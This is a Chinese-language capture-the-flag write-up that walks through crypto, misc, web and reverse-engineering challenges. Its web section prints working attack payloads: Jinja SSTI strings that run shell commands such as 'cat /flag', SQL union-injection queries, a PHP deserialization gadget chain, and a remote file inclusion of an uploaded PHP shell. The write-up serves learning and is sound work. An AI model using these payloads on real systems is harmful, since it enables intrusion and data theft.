Crypto
rssaa
用一个RSA脚本直接解密就可以了
python
import gmpy2#函数库
from Crypto.Util.number import long_to_bytes
n =
e =
c =
p =
q =
fai = (p-1)*(q-1)
d = gmpy2.invert(e,fai) #invert函数求逆元
m = pow(c,d,n)
print(m)
print(long_to_bytes(m)) #数字转字符串

奇怪的数字
将文件后缀zip加上,解压后得到一串数字,是base多层加密,直接用随波逐流解密
得到flag ,根据题目描述,(有些解密不会识别大小写和符号,flag格式Yunxi{},单词间用_代替空格),flag为Yunxi{no_no_no_you_can't_get_it}
Misc
today'secret
得到两张图片和一段摩斯音频,先使用随波逐流解析一下音频

得到flag,将大写改为小写即可
最喜欢二维码了
这题考查二维码添加定位符,得到一个残缺的二维码,需要将其补全,再使用二维码扫描工具扫描
这里可以去下载随波逐流的二维码识别工具

得到二维码信息,这里的数据是经过base64,base32,base16,三重加密,需要先进性16,32,64解码,或者使用随波逐流直接解码

师兄的密码
这题考查binwalk文件提取,盲水印提取
先用随波逐流进行binwalk文件提取

提取后得到一张图片和一个压缩包

压缩包密码在图片中,这里需要提取盲水印,因为只有四位数,可以直接爆破

解压后就得到了flag
键盘成精,我被辅修了
下载后得到一个word文件,根据题目描述和提示,将其文本修改字体大小,或者将其放到记事本里

得到了前两段flag,最后一段是零宽度字符隐写,可以使用随波逐流的离线工具

得到第三段flag,flag为flag{Zero_width_steganography_1s_fUn}
RAM取证
无声的诗行
这题考查zip伪加密修复,文件头编码修改,使用随波逐流进行伪加密修复后,得到一个png图片

发现图片打不开,使用010打开后发现文件头编码被修改了,修改为正确的png文件头编码后,打开图片后发现盲文编码
找个盲文对照表后得到flag

傲娇的师姐
这题考察流量分析,盲水印提取
根据提示是以邮箱发送的,通过统计分析找到mail,直接查找

通过追踪TCP找到图片base64,使用随波逐流进行base64转图片得到

再进行盲水印提取,得到flag

Web
hello_rce
根据提示得到当前目录

直接读取flag就行了print_r(file('flag'));

或者直接用dirsearch扫一下得到flag目录,直接进入

新东西
这题考查简单的ssti
先输入{{7*7}}测试一下是否存在ssti注入,返回49说明存在ssti注入

接下来查看一下当前目录
python
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

发现flag就在当下目录,直接查看flag就可以了
python
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

也可以使用fenjing直接梭哈

让我看看
这题考察远程文件包含
先用mobax链接一下靶机,成功后查询一下IP地址,再上传一个shell文件:<?php phpinfo()?>

然后要向外共存这个文python -m http.server --bind 0.0.0.0 6666

然后再主机上访问该文件,这里由于点被过滤了需要进行绕过,先ifconfig查看一下ip

然后再转换为十六进制访问一下上传的文件, 0xAC0101A0

进入环境变量,查找一下flag

Shadow Archive System
这题考察sql注入二次注入,这题用dirsearch扫了之后就可以得到数据库表
先查询一下库名,1' union select 1,database(),3#

得到库名为ctf,再查询一下表名,1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctf'#

再查询一下列名,-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='flags'#

最后就是查询数据,

你已急哭
这题考察php反序列化,打开后就看到了源码

先分析一下源码
php
<?php
// 关闭所有错误报告,防止敏感信息泄露
error_reporting(0);
// 显示当前PHP文件的源代码
highlight_file(__FILE__);
// 定义一个Entry类
class Entry {
// 公共属性handler,可以存储任何对象
public $handler;
// 析构函数,对象销毁时自动调用
public function __destruct() {
// 检查handler属性是否被设置
if (isset($this->handler)) {
// 输出提示信息
echo "你已急哭";
// 调用handler对象的handle()方法
$result = $this->handler->handle();
// 输出handle()方法的返回值
echo $result;
}
}
}
// 定义一个Processor类
class Processor {
// 公共属性callback,可以存储任何可调用的对象
public $callback;
// 公共属性argument,传递给回调函数的参数
public $argument;
// handle()方法,处理回调
public function handle() {
// 检查callback是否是对象
if (is_object($this->callback)) {
// 输出提示信息
echo "哟,不错嘛";
// 将callback作为函数调用,传入argument参数
$result = ($this->callback)($this->argument);
// 返回调用结果
return $result;
}
// 如果callback不是对象,输出错误信息
echo "Processor::handle() callback不是对象!";
return "Invalid handler!";
}
}
// 定义一个FileReader类
class FileReader {
// 公共属性filename,要读取的文件名
public $filename;
// __invoke()魔术方法,当对象被作为函数调用时触发
public function __invoke($arg) {
// 输出提示信息
echo "加油啊,终点就在前方了!";
// 检查filename是否是目标文件路径
if ($this->filename === "/f1ag.php") {
// 输出成功提示
echo "666,这还说啥了,flag给你了。";
// 获取环境变量FLAG的值
$flag = getenv('FLAG');
// 输出flag
echo "Flag: " . $flag . "";
return "";
} else if (file_exists($this->filename)) {
// 如果文件存在但不是目标文件
echo "文件存在,但不是目标文件...";
// 读取并返回文件内容
return file_get_contents($this->filename);
}
// 文件不存在的情况
echo "文件不存在!";
return "File not found!";
}
}
// 定义一个Logger类(本题中未使用,可能是干扰项)
class Logger {
public $logfile;
public $content;
// __toString()魔术方法,当对象被作为字符串使用时调用
public function __toString() {
return "Logger output!";
}
// handle()方法
public function handle() {
return "Logger handler!";
}
}
// 检查是否通过GET请求传递了data参数
if (isset($_GET['data'])) {
// 获取data参数的值
$data = $_GET['data'];
// 检查payload长度是否超过1000字符
if (strlen($data) > 1000) {
// 如果过长则终止执行
die("[-] Payload太长!");
}
// 对data参数进行反序列化操作
// 这是本程序的入口点,通过反序列化触发对象链
unserialize($data);
} else {
// 如果没有传递data参数,显示使用说明
echo "提交方式: ?data=你的payload";
}
// 提示目标文件路径
//Hint: 目标文件路径是 /f1ag.php
给了提示,要使fliname=/f1lg.php,通过GET传参传入我们的payload变量为data,可以利用脚本生成payload
php
?data=O:5:%22Entry%22:1:{s:7:%22handler%22;O:9:%22Processor%22:2:{s:8:%22callback%22;O:10:%22FileReader%22:1:{s:8:%22filename%22;s:9:%22/f1ag.php%22;}s:8:%22argument%22;s:9:%22/f1ag.php%22;}}

Reverse
interested_code
用IDA打开,发现一个假的flag

观察主函数,F5查看其伪代码

分析得到,flag是为get_flag并将其中的T换为ASCLL值为116,即't';o换为'0';r换为'R';前面得到get_flag的值,将'Tor'换为't0R'即为flag;
Portable_Executable
根据提示pe,先用010打开看一下有没有问题

发现文件头被修改了,不是PE结构,将零行的前三个删除,使其开头为4D5A,再使用ida打开,打开后直接就发现flag

美人鱼的传说
根据他的提示py逆向和所提供的工具,先将文件后面加上.exe后缀,再使用提供的工具进行PyInstall解包

得到一个文件夹,发现一个flag pyc文件

再使用所给的工具进行反编译,得到flag

发现得到的这个flag是假的,需要将flag给程序运行才能得到真flag

future_flag
先用exeinfo查看,发现没有套壳
用IDA打开,用string查找一下flag

追溯一下得到

F5查看一下代码


发现是xor加密,需要进行解密,密钥为0x42,密文为byte_405020的数据

用xor脚本解密,运行后得到flag

